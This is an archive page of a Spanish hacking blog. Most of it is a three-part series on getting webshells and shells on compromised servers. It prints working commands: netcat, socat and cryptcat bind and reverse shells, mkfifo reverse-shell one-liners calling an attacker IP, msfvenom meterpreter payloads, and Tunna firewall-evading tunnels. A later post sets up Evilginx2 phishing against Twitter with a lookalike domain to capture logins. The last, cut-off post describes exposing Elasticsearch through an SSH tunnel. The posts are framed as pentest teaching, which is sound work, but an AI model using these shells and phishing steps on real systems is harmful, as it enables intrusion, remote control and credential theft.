Archivo

Archive for the ‘Networking’ Category

15 formas de generar una webshell – Parte 3

abril 3, 2020 Deja un comentario

Continuando con este listado de webshells, mencionaremos otras alternativas que pueden resultar útiles/interesantes en entornos concretos. Como siempre depende del vector de ataque empleado y de las características concretas del objetivo, por ese motivo es recomendable conocer múltiples opciones como las que se han descrito en las 2 entradas anteriores que podéis ver aquí y aquí.

11. python-pty-shells. (https://github.com/infodox/python-pty-shells)

Se trata de un conjunto de scripts que permiten establecer backdoors en el sistema comprometido basados en Python. Hay que tener en cuenta que en la mayoría de distribuciones basadas en GNU/Linux (por no decir que en todas) nos vamos a encontrar un interprete de Python instalado por lo tanto éste tipo de herramientas pueden ser muy útiles a la hora de establecer sesiones persistentes contra el sistema comprometido que soportan todas las características de una terminal TTY, es decir, la posibilidad de ejecutar comandos interactivos sin perder la conexión, como sí que ocurre con algunas webshells. Hay que tener en cuenta que se trata de un proyecto un poco antiguo y que solamente soporta Python 2.7, por lo tanto si se quiere utilizar Python 3.x en el sistema objetivo sería necesario instalar y ejecutar una herramienta como “2to3” para convertir dichos scripts a una versión compatible con Python 3.x. Por otro lado hace falta tener instalada la librería “PySCTP” ya que las shells disponibles en éste repositorio soportan protocolo TCP, SCTP y UDP. Como se puede ver en la siguiente imagen, se puede abrir una “bind shell” en una terminal y en otra establecer la conexión.

El script sctp_pty_bind.py permite crear una bindshell en el sistema comprometido en el puerto 31337 (se puede cambiar editando la variable “lport”). Mientras que el script sctp_pty_shell_handler.py permite establecer una conexión contra dicha bindshell utilizando protocolo SCTP. Cabe mencionar que el script sctp_pty_shell_handler.py también permite la creación de una reverse shell.

En este caso se utiliza el script sctp_pty_shell_handler.py para abrir el puerto en la máquina del atacante y luego, en la máquina de la víctima se ejecuta el script sctp_pty_backconnect.py para de esta forma recibir la shell.
Como mencionaba anteriormente, hay shells en TCP y UDP, os recomiendo que les echéis un vistazo también.

12. Msfvenom.

Tampoco podía faltar en éste listado la posibilidad de generar diferentes tipos de webshells con Msfvenom. Como muchos de los lectores de este blog sabrán, se trata de una utilidad que se encuentra incluida en Metasploit Framework y se encarga de generar muestras de payloads en diferentes formatos. De esta forma es posible seleccionar un payload existente en el framework e indicarle a Msfvenom que lo inyecte en un fichero PHP, JSP, Python o incluso en binarios para plataformas Windows, Linux o APKs para Android. Algunas de las webshell que se pueden crear son las siguientes:

PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.php

JAVA
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war

ASP/ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f aspx -o shell.aspx

13. Tunna. (https://github.com/SECFORCE/Tunna)

Otro proyecto que me resulta muy interesante. Más que una simple webshell se trata de un conjunto de herramientas que sirven para túneles HTTP entre una víctima y atacante aunque existan mecanismos de seguridad en medio, como por ejemplo un Firewall. Esta diseñado precisamente para evadir restricciones relacionadas con entornos en los que no es posible realizar conexiones de forma arbitraria contra cualquier puerto.
El funcionamiento de Tunna se resume en los siguientes pasos:
1. El atacante debe tener la posibilidad de subir una webshell de cualquiera de los tipos disponibles en Tunna, ASPX, JSP o PHP.
2. El atacante debe tener la posibilidad de subir una bindshell (generada con metasploit, por ejemplo) a la cual, evidentemente no será posible acceder directamente debido a restricciones de un firewall en el entorno de la víctima.
3. El atacante utiliza Tunna para conectarse a la webshell subida en el paso 1 y posteriormente, establece el puerto local en la máquina del atacante y el puerto de la bindshell. Tunna se encargará de crear un túnel HTTP entre ambos puertos, utilizando la webshell que se ha subido anteriormente como punto canal de transmisión.

Se verá ahora estos puntos en detalle:
1. Dependiendo de la plataforma, se debe subir la webshell adecuada. En el directorio “webshells” del proyecto se pueden ver 3 ficheros: conn.aspx, conn.jsp y conn.php. En este caso concreto, se subirá el fichero “conn.php” a un servidor web Apache con soporte para PHP.
2. A continuación, se va a crear una bindshell para Linux, la cual se moverá junto con el fichero “conn.php” al servidor comprometido.

msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=192.168.1.60 LPORT=4443 -f elf -o bindshell

En éste caso, evidentemente la propiedad RHOST tiene el valor correspondiente a la IP del servidor comprometido.
3. Finalmente Se crea el túnel HTTP utilizando Tunna.

En este caso el túnel se abrirá en la máquina del atacante en el puerto “8990” y todas las peticiones entrantes por ese puerto van a ser enrutadas por Tunna utilizando el túnel HTTP, el cual permitirá establecer la conexión con la bindshell en la máquina comprometida, la cual estará en estado de escucha en el puerto “4443”.

14. WebDelivery de Metasploit.

Se trata de una alternativa que puede venir bien a la hora de generar una sesión contra la máquina comprometida cuando ya se ha detectado un punto de inyección valido (RCE, Command Injection, sesión RDP/SSH o File Upload). Una de las ventajas que tiene éste mecanismo de Metasploit es que no escribe nada en disco, con lo cual es muy probable que permita la evasión de mecanismos de seguridad en el sistema comprometido, además por defecto levanta un servidor web en local (máquina del atacante) para recibir la conexión.

El payload por defecto está basado en Python pero es bastante versatil y soporta otros tipos de payloads basados en PHP, ASP o en formatos binarios. En el momento en el que se ejecuta el comando “exploit” el modulo levanta el servidor en la IP y puerto especificados y a continuación enseña un comando que debe ejecutarse en la víctima. Evidentemente, una vez se ejecuta dicho comando en la máquina comprometida, se obtiene una sesión en la máquina del atacante.

15. netcat (otra vez) pero sin soporte a “-e”.

Volviendo a Netcat, tal como se ha comentado en la primera parte de ésta serie aunque la versión instalada en la máquina de la víctima no cuente con la opción “-e” aún es posible vincular una shell y crear conexiones del tipo “bind” o “reverse”. Para ello es necesario crear una pipe con “mkfifo” y a continuación vincularla con el puerto de netcat y una shell. Por ejemplo:

mkfifo /tmp/test_revshell; nc -vv 192.168.1.116 8889 0</tmp/test_revshell | /bin/bash > /tmp/test_revshell 2>&1
Ejecutando el comando anterior será suficiente para crear una reverse shell con netcat sin utilizar “-e”.


Esto mismo también es posible generarlo con “msfvenom” y el payload “cmd/unix/reverse_netcat”.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.60 lport=8889 R

Creo que ha quedado un listado bastante completo pero si conoces alguna otra webshell interesante o curiosa, no dudes en compartirla escribiendo un comentario.

Un saludo y Happy Hack.
Adastra.

15 formas de generar una webshell – Parte 2

marzo 31, 2020 1 comentario

En el articulo anterior se mencionaron las 5 primeras alternativas a la hora de generar una webshell, las cuales son muy básicas y casi con total seguridad el lector las conoce bien. En esta ocasión hablaré de otras 5 alternativas que en mi opinión se deberían tener en consideración a la hora de explotar alguna vulnerabilidad de RCE en una aplicación web.

6. phpbash. (https://github.com/Arrexel/phpbash.git)

Se trata de una webshell semi-interactiva que utiliza la función “shell_exec” de PHP. Viene bien especialmente cuando no es posible establecer una shell reversa por el motivo que sea. Dado que se trata de una webshell “stand-alone” no hace falta abrir ningún puerto o establecer conexiones de ningún tipo, salvo las propias peticiones HTTP que se realizarán contra la webshell subida en el servidor web. Esto viene bien para evadir restricciones de un firewall, por ejemplo, ya que como se ha dicho antes no hace falta abrir puertos ni establecer conexiones contra ellos, por lo tanto es ideal para realizar pruebas rápidas de explotación de alguna vulnerabilidad que permita subir una webshell. En el repositorio hay dos ficheros PHP: “phpbash.php” y “phpbash-min.php”. La diferencia esta en que el primero de ellos tiene el código con indentación y el segundo no. Evidentemente esto hace que el tamaño del segundo sea más reducido que el de el primero, lo cual en ciertas circunstancias puede venir bien.

7. weevely. (https://github.com/epinna/weevely3)

No podía faltar Weevely en el listado. Es una de las webshell más potentes que se encuentran disponibles actualmente y de hecho, está pensada para asistir al atacante (o pentester) en los procesos de post-explotación. Es parecida a otras herramientas que buscan el mismo objetivo en el sentido de que cuenta con dos elementos fundamentales: La consola de Weevely y un agente que debe desplegarse en el sistema comprometido. El agente no es más que un programa pequeño en PHP que se debe instalar en el servidor web, mientras que la consola de Weevely se encuentra escrito en Python y permite recibir las conexiones que establece el agente. Para aquellos que habéis trabajado con Empire, se sigue una filosofía parecida (Listener recibe conexiones en la máquina del atacante y el agente establece las conexiones desde la víctima).
Una vez clonado el repositorio, lo primero que hay que hacer es instalar las dependencias definidas en el fichero “requirements.txt”. Tan simple como ejecutar “pip install -r requirements.txt”.
A continuación ya se podrán ver las opciones disponibles en la herramienta.

Como se puede ver, no hay muchas opciones disponibles y resulta fácil de utilizar. Ahora es el momento de generar un nuevo agente, tal como se puede ver se hace con el comando “generate”.

Una vez hecho esto, el siguiente paso evidentemente es subir el agente a la víctima y obtener una sesión en weevely.

El comando “help” permite ver los comandos que se encuentran incluidos en esta potente webshell, sin embargo esto no significa que ya se haya establecido la conexión, esto ocurre solamente ene el momento en el que se ejecuta el primer comando en la consola de weevely.


Pero aquí no termina. Cuenta con varios módulos que permiten llevar a cabo procesos de post-explotación, algunos de estos módulos incluyen: Búsqueda de ficheros SUID inseguros, subida y descarga de ficheros, volcado de bases de datos, establecimiento de puertas traseras “bind” y “reverse”, recolección de información en ficheros sensibles del sistema, establecimiento de un proxy (incluyendo un proxy SOCKS como el que podría tener una instancia de TOR, por ejemplo) para ejecutar conexiones hacia otras redes (como Internet), entre muchas otras cosas. Además, algo que merece la pena mencionar es que es un proyecto que funciona bastante bien y en raras ocasiones me he encontrado con errores en el código que impidan que alguna funcionalidad concreta se ejecute correctamente , como sí que ocurre en otros proyectos de código abierto. Os recomiendo que le echéis un vistazo ya que merece mucho la pena.

8. Webshells en el repositorio de XL7DEV (https://github.com/xl7dev/WebShell).

En éste repositorio hay un conjunto bastante amplio de webshells para múltiples lenguajes y plataformas. Como podréis ver cuando lo visitéis hay webshells para Go, Perl, Python, PHP, ASP, etc. Algunas de ellas han sido muy populares y en su día las podías encontrar en servidores web comprometidos, lo que te permitía saber que alguien más había estado allí aprovechándose de alguna vulnerabilidad o como administrador del sistema para saber que hay algún defecto o mala configuración que le ha permitido a alguien “plantar” ese … ese agujero de seguridad en tu sistema. Si estás empezando a probar webshells es un buen repositorio para conocer algunas de las más interesantes y sino, a lo mejor te traerá algunos recuerdos (ojo, a lo mejor no precisamente buenos).

9. webshells en Kali y FuzzDB.

También tenemos un repositorio bastante completo de webshells de uso general en Kali y por supuesto, en FuzzDB. En Kali las webshells se encuentran ubicadas en el directorio “/usr/share/webshells” y se pueden ver las más básicas para lenguajes como Java, PHP, ColdFusion o ASP. No obstante, en el caso de FuzzDB hay más variedad (https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors) no solamente soporta más lenguajes de programación, sino que las webshells que se encuentran allí son estables y funcionan en prácticamente todos los casos.

10. p0wnyshell. https://github.com/flozz/p0wny-shell

Se trata de una webshell muy simple pero al mismo tiempo muy completa. En primer lugar es una webshell interactiva, por lo tanto su uso resulta mucho más cómodo que con otras que no lo son. Del mismo modo que ocurre con “phpbash”, una vez que la webshell se sube al servidor se puede interactuar con ella de forma directa, sin establecer conexiones reversas o bind, algo que como se ha mencionado antes puede venir muy bien a la hora de realizar pruebas de explotación y evitar posibles problemas en las conexiones establecidas desde y/o hacia la máquina comprometida.

Espero que os haya gustado este pequeño listado, en la próxima publicación os enseñaré 5 webshells más que seguro que os van a gustar.

Un saludo y Happy Hack.
Adastra.

15 formas de generar una webshell – Parte 1

marzo 27, 2020 2 comentarios

Si tenemos la suerte de encontrar una vulnerabilidad que nos permita la ejecución de instrucciones en una aplicación web, lo siguiente que se debe considerar es la mejor forma de aprovechar dicha vulnerabilidad. La forma más común consiste evidentemente en intentar subir una webshell que permita la ejecución de instrucciones contra el sistema comprometido y en este sentido encontramos bastantes alternativas que dependiendo del entorno y plataforma sobre la que está montada la aplicación web pueden ser más o menos óptimas. A continuación os dejo un listado de 15 alternativas diferentes (distribuidas en 3 posts) a la hora de generar una webshell en una aplicación web vulnerable.

 

1. NETCAT.

Se trata del mecanismo más clásico, tradicional y conocido. Probablemente la mayoría de personas que inician en el mundo del hacking aprenden primero a utilizar esta sencilla herramienta. Dada su simplicidad no merece la pena dedicar muchas líneas a éste mecanismo ya que basta con decir que permite la creación de shells del tipo bind y reverse gracias a la opción “-e”. No obstante, hay que tener en cuenta que dependiendo de la versión de Netcat instalada en el sistema objetivo éste método podría no ser viable ya que por seguridad la opción “-e” no se encuentra disponible en el paquete, es decir, que en el momento de compilar el programa no se ha habilitado la conocida opción “GAPING_SECURITY_HOLE” de Netcat. Las condiciones necesarias para que éste mecanismo funcione son:

  • la aplicación web vulnerable debe permitir la ejecución de instrucciones directamente contra el sistema operativo
  • El sistema operativo del objetivo debe tener “netcat” instalado y con la opción “-e” habilitada.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
nc -lvvp PUERTO_BINDSHELL -e /bin/bash nc -vv IP_VÍCTIMA PUERTO_BINDSHELL

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
nc -vv IP_ATACANTE PUERTO_REVERSE_SHELL -e /bin/bash nc -lvvp PUERTO_REVERSE_SHELL

En éste caso se asume que el sistema objetivo tiene “/bin/bash”, evidentemente. Ahora bien, en el caso de que Netcat no tenga habilitada la opción “-e” no significa que sea imposible crear una bind/reverse shell utilizando esta herramienta. Se puede y lo explicaré en el siguiente post.

2. SOCAT.

Si bien Netcat es conocido como “la navaja suiza de los hackers”, socat provee incluso más características y es más potente que netcat sin embargo, esto significa que es también un poco más complejo. Hace algunos años escribí un par de artículos sobre ésta herramienta que puedes ver aquí y aquí. Evidentemente, para que éste mecanismo funcione es necesario que el sistema objetivo tenga socat instalado.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
socat TCP-LISTEN:BINDSHELL_PORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane socat FILE:`tty`,raw,echo=0 TCP:IP_VÍCTIMA:BINDSHELL_PORT

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
socat tcp-connect:IP_ATACANTE:PUERTO_REVERSE_SHELL exec:sh,pty,stderr,setsid,sigint,sane socat file:`tty`,raw,echo=0 tcp-listen:PUERTO_REVERSE_SHELL

3. MSFVENOM

Utilizar la herramienta msfvenom disponible en Metasploit Framework es otra de las alternativas más comúnmente utilizadas a la hora de crear una webshell. Una de las ventajas que tiene éste mecanismo es que permite generar una webshell para una plataforma concreta (php, python, java, ruby, etc) y que además permite especificar un payload de los que se encuentran disponibles en el framework de tal manera que será posible generar una sesión meterpreter si especificamos un payload de dicho tipo. El uso típico para generar una webshell del tipo “reverse” utilizando un payload de meterpreter podría ser el siguiente:

msfvenom -p php/meterpreter/reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_REVERSESHELL -f php -o webshell.php

Con éste sencillo comando se generará una webshell para PHP, la cual una vez ejecutada en la aplicación vulnerable generará una sesión meterpreter.

use exploit/multi/handler

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST “IP_ATACANTE”

set LPORT “PUERTO_REVERSESHELL”

exploit -j

Lo más importante a tener en cuenta es que debe coincidir el PAYLOAD, LHOST y LPORT indicados en el módulo “exploit/multi/handler” con los valores que se han puesto en msfvenom.

4. CRYPTCAT

Se trata de otro mecanismo interesante del que ya he escrito hace algunos años también aquí. En éste caso funciona de un modo muy similar a netcat, con la ventaja de que se encarga de cifrar toda la comunicación entre víctima y atacante. Obviamente, es necesario que el programa se encuentre instalado en el sistema objetivo y esto no es algo frecuente, por lo tanto éste método es utilizado principalmente en procesos de post-explotación una vez se tiene cierto grado de control sobre el sistema comprometido y es posible instalar programas como éste. En el post indicado anteriormente se enseña el procedimiento de instalación en sistemas basados en Windows, sin embargo en el caso caso de sistemas GNU/Linux la instalación depende de la distribución y es probablemente más sencilla, ya que por ejemplo, en el caso de sistemas basados en Debian se puede instalar con un simple “apt-get install cryptcat”.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
#mkfifo bindshell

#cryptcat -k password -l -p PUERTO_BINDSHELL 0<bindshell| /bin/bash 1>bindshell

#cryptcat -k password -vv IP_VÍCTIMA PUERTO_BINDSHELL

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
#cryptcat -k password -vv IP_ATACANTE PUERTO_REVERSE_SHELL #mkfifo reverseshell

#cryptcat -k password -l -p PUERTO_REVERSESHELL 0<reverseshell| /bin/bash 1>reverseshell

En este caso la comunicación estará cifrada utilizando TwoFish.

5. PENTESTMONKEY SHELLS

Este es otro de los recursos más tradicionales en el pentesting web. Pentestmonkey es un sitio web que contiene herramientas para llevar a cabo procesos de explotación y post-explotación, Cheat Sheets básicos para pruebas de SQL Injection sobre diferentes tipos de bases de datos y algunos artículos que si bien ya se han escrito hace bastantes años, suponen una buena fuente de información para pentesters que están empezando o incluso como referencia para aquellos más experimentados.

El recurso en cuestión en donde se pueden encontrar algunas webshells interesantes (en este caso para PHP y PERL) es el siguiente: http://pentestmonkey.net/category/tools/web-shells

Del mismo modo hay un Cheat Sheet que puede ser útil como referencia para probar diferentes mecanismos a la hora generar una reverse shell en un entorno con fuertes limitaciones (en el que por ejemplo, no se cuenta con un conjunto de herramientas mínimo para establecer una shell entre víctima y atacante obligando a realizar las conexiones de forma manual).

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Se trata de las alternativas que a mi juicio, son de las más comunes a la hora de generar una webshell aunque hay muchísimas más con su ventajas y desventajas, como todo. En los próximos dos post explicaré otras herramientas, proyectos y alternativas para explotar adecuadamente una vulnerabilidad de RCE y sacarle el máximo provecho.

Un saludo…

Happy Hack y Happy Health.

Adastra.

Novedades en el plan de formaciones sobre Hacking ético en Securízame

marzo 9, 2020 Deja un comentario

Como seguramente algunos de vosotros habéis visto en redes sociales, grupos de telegram o charlas en las que he asistido en los últimos meses, tenemos abierto el plan de formación de Hacking ético y RedTeam en Securízame (https://www.securizame.com/plan-de-formacion-hacking-etico-2020/), en donde una vez más, seré el instructor. Se trata de un plan de formaciones que como ya he mencionado en otras ocasiones, es un tanto especial por el mimo y cuidado con el que se ha diseñado. Las formaciones se dividen en dos cursos, el primero de ellos de un nivel básico/intermedio y el segundo de un nivel más avanzado en el que se ven técnicas enfocadas al RedTeam. Luego tenemos entrenamiento y la certificación RTCP (Red Team Certified Professional: https://cursos.securizame.com/courses/certificacion-rtcp/) la cual es propia de Securízame y en la cual también participo en su diseño y evaluación. Todo esto probablemente es bien sabido por aquellos que leéis éste blog o ya habéis participado en éste plan de formaciones, sin embargo para el primer semestre del 2020 hay algunas novedades que me gustaría compartir con todos vosotros.

En primer lugar, tanto el curso básico/intermedio como el avanzado tienen algunos contenidos adicionales que se han incorporado debido a la evolución que están teniendo los sistemas informáticos modernos, especialmente aquellos que se desarrollan en empresas dedicadas a la construcción de software. En este sentido se han incluido temas tan interesantes como por ejemplo:

* Introducción a SecDevOps
* Detección y explotación de vulnerabilidades en APIs Rest.

* Vulnerabilidades en arquitecturas basadas en Microservicios.

* Detección y explotación de vulnerabilidades en sistemas basados en contenedores (Docker).

* Detección y explotación de vulnerabilidades en sistemas de orquestación (Docker Swarm y Kubernetes).

* Técnicas avanzadas de post-explotación en sistemas GNU/Linux

* Más técnicas de post-explotación en sistemas Windows.

* Técnicas para llevar a cabo movimientos laterales tanto en sistemas Windows y GNU/Linux como en diferentes situaciones que se podrían encontrar en un Red Team.

Sin ser una lista completa de lo que se verá en las formaciones, es un ejemplo de algunos de los temas que tocaremos en esta ocasión y que no se han enseñado en versiones previas de las formaciones de Hacking ético presencial que se han impartido en Securízame.
Sin embargo esto no es todo, los entrenamientos también vienen con novedades. En ediciones anteriores se incluía un entrenamiento, el cual está compuesto por una serie de retos, máquinas con vulnerabilidades que yo mismo he diseñado en THW Labs (https://thehackerway.es/thw-labs/) pero en esta ocasión tendremos dos entrenamientos en los que se sigue la misma dinámica: reto → comprometes el sistema o no → solución → siguiente reto. En ambos tendremos un reto especial el día domingo que consistirá en resolver una edición anterior del RTCP. Esto le permitirá a los aspirantes ver cómo será el entorno del examen y practicar mucho más todo lo relacionado con la explotación, post-explotación y movimientos laterales para extraer información de los sistemas en la red. A diferencia de otras formaciones que se mantienen “estáticas” con los mismos contenidos desde hace años, las formaciones que impartimos en materia de Hacking y RedTeam en Securízame no siguen este patrón y nos esforzamos en mantenerlas actualizadas y enfocadas a la seguridad en los sistemas empresariales modernos ya que evidentemente, es lo que nos vamos a encontrar en las auditorías de seguridad que nos piden nuestros clientes.

Si os ha resultado interesante lo anterior, os indico las fechas de cada formación, teniendo en cuenta que las plazas son limitadas, la formación es presencial y que también hay packs con los que podéis ahorrar dinero.

Hacking ético básico/intermedio: 03/04/2020 al 05/04/2020 https://cursos.securizame.com/courses/curso-hacking-etico-basico/

Hacking ético avanzado: 24/04/2020 al 25/04/2020

https://cursos.securizame.com/courses/curso-hacking-etico-avanzado/

Entrenamiento práctico I: 22/05/2020 al 24/05/2020

https://cursos.securizame.com/courses/entrenamiento-practico-hacking-etico/

Entrenamiento práctico II: 05/06/2020 al 07/06/2020

https://cursos.securizame.com/courses/entrenamiento-practico-hacking-etico-2/

Examen de certificación RTCP: 20/06/2020 o 21/06/2020

https://cursos.securizame.com/courses/certificacion-rtcp/

Partiendo de estas fechas, tenéis la posibilidad de adquirir los cursos de forma individual o aprovechar los packs que se encuentran disponibles (algo que os recomiendo).

PACK RTCP: Se trata de la formación completa, lo que incluye los cursos, entrenamientos, acceso a los laboratorios durante más de 30 días para practicar desde casa y el examen de certificación RTCP. https://cursos.securizame.com/courses/pack-rtcp-curso-basico-avanzado-entrenamiento-certificacion-rtcp/

PACK HACKING ÉTICO: Con éste pack tendrás acceso a las formaciones, entrenamientos, acceso a los laboratorios durante más de 30 días y no se incluye el examen de certificación. https://cursos.securizame.com/courses/pack-hacking-etico-curso-basico-avanzado-entrenamiento/

PACK ENTRENAMIENTOS HACKING ÉTICO: Si lo que te interesa son los entrenamientos 100% prácticos, también puedes adquirir éste pack, en donde únicamente se incluyen las dos ediciones del entrenamiento y más de 30 días de acceso a los laboratorios desde casa (o cualquier sitio). https://cursos.securizame.com/courses/pack-entrenamientos-hacking-etico/

PACK ENTRENAMIENTOS HACKING ÉTICO + RTCP: Lo mismo que el anterior, pero con derecho a presentar el examen de certificación. https://cursos.securizame.com/courses/pack-practico-hacking-etico-entrenamiento-certificacion-rtcp/

Aún tienes tiempo para apuntarte y si estás realmente interesado en estas formaciones, te recomiendo que lo hagas pronto ya que en todas las ediciones anteriores las plazas se nos han agotado bastante rápido. Finalmente, si tienes cualquier duda o necesitas aclarar cualquier punto, te puedes poner en contacto conmigo directamente escribiendo un comentario en ésta entrada, enviándome un mensaje directo en alguna red social en la que me sigas o por Telegram. También tienes a tu disposición el formulario de contacto en el sitio web de Securízame https://www.securizame.com/contacto/

Espero verte en la academia y tener el placer de enseñarte!

Un Saludo y Happy Hack.

Adastra.

Phishing 2.0 con Evilginx2 – Parte 2

enero 2, 2020 1 comentario

En el post anterior el cual se puede leer aquí, se han aplicado las configuraciones iniciales para que Evilginx2 pueda solicitar y configurar de forma automática un certificado digital valido para el dominio “es-twitter.ml”. Como se ha visto en el artículo anterior, el dominio ya se encuentra correctamente configurado y ahora es necesario comenzar con la configuración de Evilginx2 para llevar a cabo el ataque propiamente dicho.
Si todo lo que se ha explicado en el post anterior se ha aplicado correctamente, ahora es posible habilitar el “phishlet” de twitter con el comando “phishlets enable twitter”. Este comando intentará generar un certificado autofimado al vuelo para el dominio indicado en “hostname” que tal como se ha explicado en el post anterior es “twitter.com.es-twitter.ml” y a continuación, se encargará de contactar con el CertBot de LetsEncrypt para que evidentemente, dicho certificado generado por Evilginx2 se encuentre firmado por una CA de la que se van a fiar los clientes (LetsEncrypt). Este proceso puede tardar unos minutos y en ocasiones puede llegar a fallar y si esto ocurre hay que volver a lanzar el comando una segunda vez pero si el problema persiste será necesario revisar toda la configuración correspondiente al dominio, la IP pública establecida y los registros DNS.

Una vez con los certificados preparados y correctamente instalados en la instancia de Evilginx2 es el momento de crear los “lures”. Estos elementos son simplemente configuraciones que se pueden incluir sobre un phishlet concreto, de tal manera que es fácil tener varios lures que representen diferentes tipos de configuraciones. Aunque pueda sonar un poco complejo, nada más lejos. Los lures están compuestos por un identificador númerico, nombre, path que se debe de incluir en la URL que se enviará a la víctima, una URL para redireccionar al usuario en caso de error, parámetros adicionales que pueden ser requeridos por el servicio objetivo (en éste caso Twitter) y un campo para incluir una pequeña descripción del lure.

Viendo las opciones disponibles en el comando “lures” se puede apreciar que su uso es bastante sencillo. Haría falta crear el lure con el comando “lures create twitter”, el cual creará un nuevo identificador para posteriormente poder editar el lure creado. Luego se pueden establecer opciones como por ejemplo un “path” personalizado o una URL de redirección, la sintaxis para cualquiera de dichos comandos es “lures edit <opción> <id lure> <valor>”. Por ejemplo: “lures edit redirect_url 0 https://www.twitter.com”.

Como se puede ver en la imagen anterior ya ésta todo preparado, ahora solamente hace falta ejecutar el comando “lures get-url <id lure>” para obtener la URL que se le debe enviar a la víctima y esperar.

Una vez el usuario pincha sobre el enlace o accede al sitio web por medio de la URL anterior, aparece en el navegador web la misma estructura del sitio web de Twitter legitimo ya que de hecho, Evilginx2  actúa simplemente como una pasarela entre la víctima y dicho sitio web, a éste ataque como ya sabéis se le suele llamar MITM aunque en éste caso con unas variantes un tanto especiales. Si la víctima intenta acceder utilizando su usuario y contraseña el procedimiento de login se llevará a cabo desde Evilginx2 y ya de paso, capturará todos los detalles de dicho proceso.

Espero que os haya gustado la herramienta y os animo a probarla ya que como habéis podido ver, es sencilla y muy potente.

Un saludo y Happy Hack.

Adastra.

Seguridad en ElasticSearch: ES desde la perspectiva de un pentester – Parte V

octubre 14, 2019 1 comentario

Cuando ponemos un nodo en modo “cluster” es cuando realmente se empiezan a complicar las cosas desde el punto de vista de la seguridad. Algunas consideraciones que fácilmente se pueden detectar desde el punto de vista de un pentester son las siguientes:

Sin mecanismos de autenticación o autorización en el acceso a la API Rest.

Como se ha visto en los post anteriores de ésta serie (parte1, parte2, parte3, parte4), la API Rest de una instancia de ES es muy potente, de hecho es el corazón del motor. Desafortunadamente, por defecto no se implementa ningún mecanismo de seguridad para la autenticación de usuarios. Recordad que ES es una base de datos, con un modelo de funcionamiento diferente a las bases de datos relacionales pero su objetivo principal es el mismo: el almacenamiento de información. Si en una base de datos tradicional se permite que cualquier usuario sin autenticación previa, ejecute consultas SQL sobre las tablas y que tenga la posibilidad de lanzar procedimientos almacenados, estamos en una situación poco deseable en la que como mínimo, es posible que se produzcan fugas de información sensible y a mayores, en la explotación del sistema. Pues bien, por defecto esto es lo que tenemos con cualquier instancia de ES. Alguien podría decir: “pero no pasa nada, porque la API Rest de ES se vincula únicamente a la interfaz de red local, que no está expuesta a otros sistemas y por lo tanto únicamente un administrador podrá acceder a ella”. Sí y no. Si utilizamos ES en modo de desarrollo, es decir, con un único nodo local y sin activar el modo cluster esto es cierto, pero aún así, si el sistema ya ha sido comprometido y un atacante tiene la posibilidad de ejecutar comandos, se podría crear fácilmente un túnel SSH que exponga el puerto en el que se encuentra en ejecución la API Rest de ES y de esta forma, acceder a la información almacenada en el cluster. Incluso, sin llegar al supuesto de que el sistema haya sido comprometido, es posible que el administrador quiera acceder a la instancia remotamente y lanzar consultas, para ello también podría crear un túnel SSH abriendo la posibilidad de que él y cualquiera pueda entrar ya que por defecto, no hay mecanismos de autenticación y autorización.

ssh -L 0.0.0.0:9999:127.0.0.1:9200 esuser@localhost

Por ejemplo, si se ejecuta el comando anterior sobre el sistema en el que se encuentra en ejecución la instancia de ES, se abrirá el puerto “9999” en todas las interfaces de red disponibles y se podrá acceder a la API Rest de ES utilizando dicho puerto. Esta es solo una forma, existen otras más, por ejemplo utilizando redirecciones con socat. Este y muchos otros temas relacionados con la post-explotación de sistemas los enseño en los cursos que imparto en Securízame por si estás interesado.

Operaciones de administración de la instancia de ES sin protecciones de ningún tipo.

Ahora bien, en el caso de que efectivamente, lo anterior no sea posible porque el sistema está correctamente securizado y no hay agujeros de seguridad que le permitan a un atacante crear un túnel como el anterior, aún hay que considerar que si la instancia de ES se ha configurado en modo “cluster”, cualquiera se podrá conectar a ella, ya que como se ha visto en la parte anterior de esta serie, para que el modo cluster funcione correctamente la instancia tiene que permitir la conexión remota por parte de otros nodos. Esto significa que lo más probable es que otras instancias puedan consultar cualquier endpoint de la API Rest, incluyendo aquellos que permiten la administración completa del nodo, nuevamente sin ningún tipo de restricción.

Fugas de información sensible con instancias maliciosas en el cluster

Otra cuestión a tener en cuenta en el modo cluster, es que se puede consultar fácilmente si una instancia actúa como “master” y levantar otra instancia que funcione en modo “esclavo” para obtener las replicas de la información almacenada en el cluster. Esto está muy bien sino fuese porque nuevamente, no hay ningún mecanismo de autenticación y autorización por defecto en ES para este tipo de operaciones, es decir, que por defecto se “confía” en que la instancia que se quiere unir al cluster es legitima y no hay ningún mecanismo para indicar cuáles son aquellas instancias que realmente están autorizadas para unirse al cluster y cuáles no. Es posible que el lector recuerde o haya visto alguna vulnerabilidad de transferencia de zona en servidores DNS mal configurados, pues en este caso estamos ante una situación muy similar. Es posible levantar una instancia de ES y editar la configuración por defecto para que apunte al master y obtener la replica de los documentos almacenados en el cluster, es decir, la información propiamente dicha.

Denegación del servicio sobre nodos del cluster.

